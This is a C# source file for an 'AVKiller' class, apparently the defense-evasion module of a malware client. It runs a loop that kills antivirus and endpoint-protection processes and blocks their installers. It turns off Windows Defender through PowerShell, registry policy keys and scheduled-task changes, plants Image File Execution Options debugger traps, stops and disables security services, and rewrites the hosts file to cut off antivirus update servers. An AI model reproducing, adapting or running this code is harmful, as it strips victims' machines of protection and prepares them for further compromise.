using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Management; using System.Runtime.InteropServices; using System.Threading.Tasks; namespace Crysome.Client.Configuration; public static class AVKiller { private struct LUID { public uint LowPart; public int HighPart; } private struct TOKEN_PRIVILEGES { public int PrivilegeCount; public LUID Luid; public int Attributes; } private static volatile bool _running; private static readonly HashSet AVProcs = new HashSet(StringComparer.OrdinalIgnoreCase) { "MsMpEng", "MpCmdRun", "MsASCuIL", "SecurityHealthService", "SecurityHealthHost", "SecurityHealthSystray", "ConfigSecurityPolicy", "NisSrv", "NortonSecurity", "navapsvc", "nsWscSvc", "NProtect", "ccSvcHst", "SymCorpUI", "McShield", "McUICnt", "mfemms", "mfevtps", "masvc", "McAPExe", "MMSSHOST", "ModuleCoreService", "avp", "avpui", "kavfs", "kavfsgt", "klnagent", "bdagent", "vsserv", "bdservicehost", "bdntwrk", "updatesrv", "seccenter", "bdredline", "ProductAgentService", "AvastSvc", "AvastUI", "aswidsagent", "afwServ", "aswToolsSvc", "aswEngSrv", "avgnt", "avguard", "AVGSvc", "AVGUI", "avgidsagent", "ekrn", "egui", "EsetService", "EHttpSrv", "MBAMService", "mbamtray", "mbam", "MBAMWsc", "PccNTMon", "TmListen", "ntrtscan", "tmbmsrv", "TmProxy", "coreServiceShell", "SAVAdminService", "SavService", "SophosHealth", "SophosCleanM", "SophosFileScanner", "SophosFS", "fshoster", "FSMA32", "fsaua", "fsorsp", "cmdagent", "CisTray", "cavwp", "PSANHost", "PSUAMain", "PSUAService", "WRSA", "WRCoreService", "a2service", "a2guard", "a2start", "ZoneAlarm", "vsmon", "zlclient", "CSFalconService", "csagent", "CSFalconContainer", "SentinelAgent", "SentinelServiceHost", "SentinelStaticEngine", "SentinelHelperService", "CylanceSvc", "CylanceUI", "RepMgr", "CbDefense", "CbDefenseSensor", "dwengine", "dwservice", "SpIDerAgent", "dwarkdaemon", "Avira.ServiceHost", "avshadow", "Avira.SystrayStartTrigger", "GDScan", "AVKService", "SCANMAIN", "BDSS", "SBAMSvc", "BullGuardBhvProcessing", "BullGuardScanner", "BullGuardUpdate", "360Tray", "360sd", "ZhuDongFangYu" }; private static readonly string[] AVKeywords = new string[42] { "norton", "symantec", "mcafee", "kaspersky", "bitdefender", "avast", "avg antivirus", "eset", "nod32", "malwarebytes", "trend micro", "trendmicro", "sophos", "f-secure", "comodo", "panda security", "webroot", "emsisoft", "zonealarm", "crowdstrike", "sentinelone", "sentinel one", "cylance", "carbon black", "carbonblack", "bullguard", "vipre", "quick heal", "quickheal", "dr.web", "drweb", "avira", "g data", "gdata", "360 total security", "360totalsecurity", "antivirus", "anti-virus", "endpoint protection", "internet security", "total security", "windows defender" }; private static readonly string[] AVServices = new string[41] { "WinDefend", "WdNisSvc", "SecurityHealthService", "wscsvc", "Sense", "McShield", "masvc", "mfemms", "mfevtp", "HomeNetSvc", "McProxy", "McODS", "AVP", "kavfsgt", "klnagent", "VSSERV", "EPSecurityService", "EPUpdateService", "EPIntegrationService", "avast! Antivirus", "AvastWscReporter", "aswbIDSAgent", "avast! Firewall", "avgwd", "AVGSvc", "ekrn", "EsetService", "MBAMService", "ntrtscan", "TmListen", "tmbmsrv", "TmProxy", "SAVAdminService", "SAVService", "Sophos MCS Agent", "cmdAgent", "CSFalconService", "SentinelAgent", "SentinelStaticEngine", "CylanceSvc", "CbDefense" }; private static readonly string[] IFEOTargets = new string[34] { "avp.exe", "avpui.exe", "ekrn.exe", "egui.exe", "bdagent.exe", "vsserv.exe", "bdservicehost.exe", "AvastSvc.exe", "AvastUI.exe", "afwServ.exe", "AVGSvc.exe", "AVGUI.exe", "MBAMService.exe", "mbamtray.exe", "SavService.exe", "SAVAdminService.exe", "CylanceSvc.exe", "CylanceUI.exe", "WRSA.exe", "WRCoreService.exe", "a2service.exe", "a2guard.exe", "CSFalconService.exe", "csagent.exe", "SentinelAgent.exe", "SentinelServiceHost.exe", "NortonSecurity.exe", "ccSvcHst.exe", "McShield.exe", "masvc.exe", "fshoster.exe", "FSMA32.exe", "PSANHost.exe", "PSUAMain.exe" }; private static readonly string[] AVUpdateDomains = new string[33] { "update.nai.com", "download.mcafee.com", "vs.mcafee.com", "update.avg.com", "download.avg.com", "update.avast.com", "download.avast.com", "iavs9x.u.avast.com", "dnl-01.geo.kaspersky.com", "dnl-02.geo.kaspersky.com", "downloads.kaspersky-labs.com", "update.eset.com", "download.eset.com", "download.bitdefender.com", "upgrade.bitdefender.com", "nimbus.bitdefender.net", "download.sophos.com", "dci.sophosupd.com", "sophosupdate.sophos.com", "mb3-download.malwarebytes.com", "downloads.malwarebytes.com", "data-cdn.mbamupdates.com", "definitions.symantec.com", "liveupdate.symantec.com", "symantecliveupdate.com", "update.trendmicro.com", "download.trendmicro.com", "download.f-secure.com", "guts2.f-secure.com", "update.drweb.com", "download.drweb.com", "update.avira.com", "install.avira-update.com" }; public static void Start() { if (!_running) { _running = true; Task.Factory.StartNew(MainLoop, TaskCreationOptions.LongRunning); } } public static void Stop() { _running = false; } private static async void MainLoop() { Program.Log("AVKiller: active"); await Task.WhenAll(Task.Run(delegate { try { NeutralizeDefender(); } catch { } }), Task.Run(delegate { try { SetIFEOTraps(); } catch { } }), Task.Run(delegate { try { DisableAVServices(); } catch { } }), Task.Run(delegate { try { PoisonHostsFile(); } catch { } })).ConfigureAwait(continueOnCapturedContext: false); Program.Log("AVKiller: hardening done"); while (_running) { try { await Task.WhenAll(Task.Run(delegate { ScanAndKillProcesses(); }), Task.Run(delegate { InterceptInstallers(); })).ConfigureAwait(continueOnCapturedContext: false); } catch (Exception ex) { Program.Log("AVKiller loop: " + ex.Message); } await Task.Delay(2000).ConfigureAwait(continueOnCapturedContext: false); } } private static void ScanAndKillProcesses() { Process[] processes; try { processes = Process.GetProcesses(); } catch { return; } Parallel.ForEach(processes, delegate(Process proc) { try { if (AVProcs.Contains(proc.ProcessName)) { proc.Kill(); Program.Log("AVKiller: killed " + proc.ProcessName + " pid=" + proc.Id); } } catch { } finally { try { proc.Dispose(); } catch { } } }); } private static void InterceptInstallers() { Process[] processes; try { processes = Process.GetProcesses(); } catch { return; } Parallel.ForEach(processes, delegate(Process proc) { try { string text = proc.ProcessName.ToLowerInvariant(); if (text == "msiexec" || text.Contains("setup") || text.Contains("install")) { string commandLine = GetCommandLine(proc.Id); string text2 = null; try { text2 = proc.MainModule?.FileName; } catch { } if (ContainsAVKeyword((commandLine + " " + text2).ToLowerInvariant())) { proc.Kill(); Program.Log("AVKiller: blocked installer " + proc.ProcessName + " pid=" + proc.Id); KillProcessTree(proc.Id); } } } catch { } finally { try { proc.Dispose(); } catch { } } }); } private static bool ContainsAVKeyword(string text) { for (int i = 0; i < AVKeywords.Length; i++) { if (text.IndexOf(AVKeywords[i], StringComparison.OrdinalIgnoreCase) >= 0) { return true; } } return false; } private static string GetCommandLine(int pid) { try { using ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT CommandLine FROM Win32_Process WHERE ProcessId=" + pid); using ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get(); using ManagementObjectCollection.ManagementObjectEnumerator managementObjectEnumerator = managementObjectCollection.GetEnumerator(); if (managementObjectEnumerator.MoveNext()) { return ((ManagementObject)managementObjectEnumerator.Current)["CommandLine"]?.ToString(); } } catch { } return null; } private static void KillProcessTree(int parentPid) { try { using ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT ProcessId FROM Win32_Process WHERE ParentProcessId=" + parentPid); using ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get(); foreach (ManagementObject item in managementObjectCollection) { int num = Convert.ToInt32(item["ProcessId"]); KillProcessTree(num); try { Process.GetProcessById(num).Kill(); } catch { } } } catch { } } private static void NeutralizeDefender() { ExecAsync("powershell", "-EP Bypass -Command \"Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableScriptScanning $true -DisableBlockAtFirstSeen $true\"").Wait(); List list = new List(); string[] array = new string[8] { "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" /v DisableAntiSpyware /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\" /v TamperProtection /t REG_DWORD /d 0 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Spynet\" /v SpyNetReporting /t REG_DWORD /d 0 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Spynet\" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f" }; foreach (string text in array) { list.Add(ExecAsync("reg", "add " + text)); } list.Add(ExecAsync("schtasks", "/Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Scheduled Scan\" /Disable")); list.Add(ExecAsync("schtasks", "/Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Cache Maintenance\" /Disable")); list.Add(ExecAsync("schtasks", "/Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Verification\" /Disable")); Task.WaitAll(list.ToArray()); } private static void SetIFEOTraps() { Task[] array = new Task[IFEOTargets.Length]; for (int i = 0; i < IFEOTargets.Length; i++) { array[i] = ExecAsync("reg", "add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + IFEOTargets[i] + "\" /v Debugger /t REG_SZ /d \"cmd.exe /c echo\" /f"); } Task.WaitAll(array); } private static void DisableAVServices() { EnableDebugPrivilege(); string[] aVServices = AVServices; foreach (string text in aVServices) { try { Process.Start(new ProcessStartInfo("sc.exe", "stop \"" + text + "\"") { UseShellExecute = false, CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden }); Process.Start(new ProcessStartInfo("sc.exe", "config \"" + text + "\" start= disabled") { UseShellExecute = false, CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden }); Process.Start(new ProcessStartInfo("net.exe", "stop \"" + text + "\" /y") { UseShellExecute = false, CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden }); } catch { } } } [DllImport("advapi32.dll", SetLastError = true)] private static extern bool OpenProcessToken(IntPtr ProcessHandle, int DesiredAccess, out IntPtr TokenHandle); [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid); [DllImport("advapi32.dll", SetLastError = true)] private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, int BufferLength, IntPtr PreviousState, IntPtr ReturnLength); [DllImport("kernel32.dll")] private static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll")] private static extern bool CloseHandle(IntPtr hObject); private static void EnableDebugPrivilege() { try { if (OpenProcessToken(GetCurrentProcess(), 40, out var TokenHandle)) { TOKEN_PRIVILEGES NewState = default(TOKEN_PRIVILEGES); NewState.PrivilegeCount = 1; NewState.Attributes = 2; if (LookupPrivilegeValue(null, "SeDebugPrivilege", out NewState.Luid)) { AdjustTokenPrivileges(TokenHandle, DisableAllPrivileges: false, ref NewState, 0, IntPtr.Zero, IntPtr.Zero); } CloseHandle(TokenHandle); } } catch { } } private static void PoisonHostsFile() { try { string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers", "etc", "hosts"); if (!(File.Exists(path) ? File.ReadAllText(path) : "").Contains("# avk-block")) { string text = Environment.NewLine + "# avk-block" + Environment.NewLine; string[] aVUpdateDomains = AVUpdateDomains; foreach (string text2 in aVUpdateDomains) { text = text + "0.0.0.0 " + text2 + Environment.NewLine; } File.AppendAllText(path, text); Program.Log("AVKiller: hosts file poisoned"); } } catch { } } private static Task ExecAsync(string exe, string args) { return Task.Run(delegate { try { using Process process = Process.Start(new ProcessStartInfo(exe, args) { CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden, UseShellExecute = false, RedirectStandardOutput = true, RedirectStandardError = true }); process?.WaitForExit(8000); } catch { } }); } }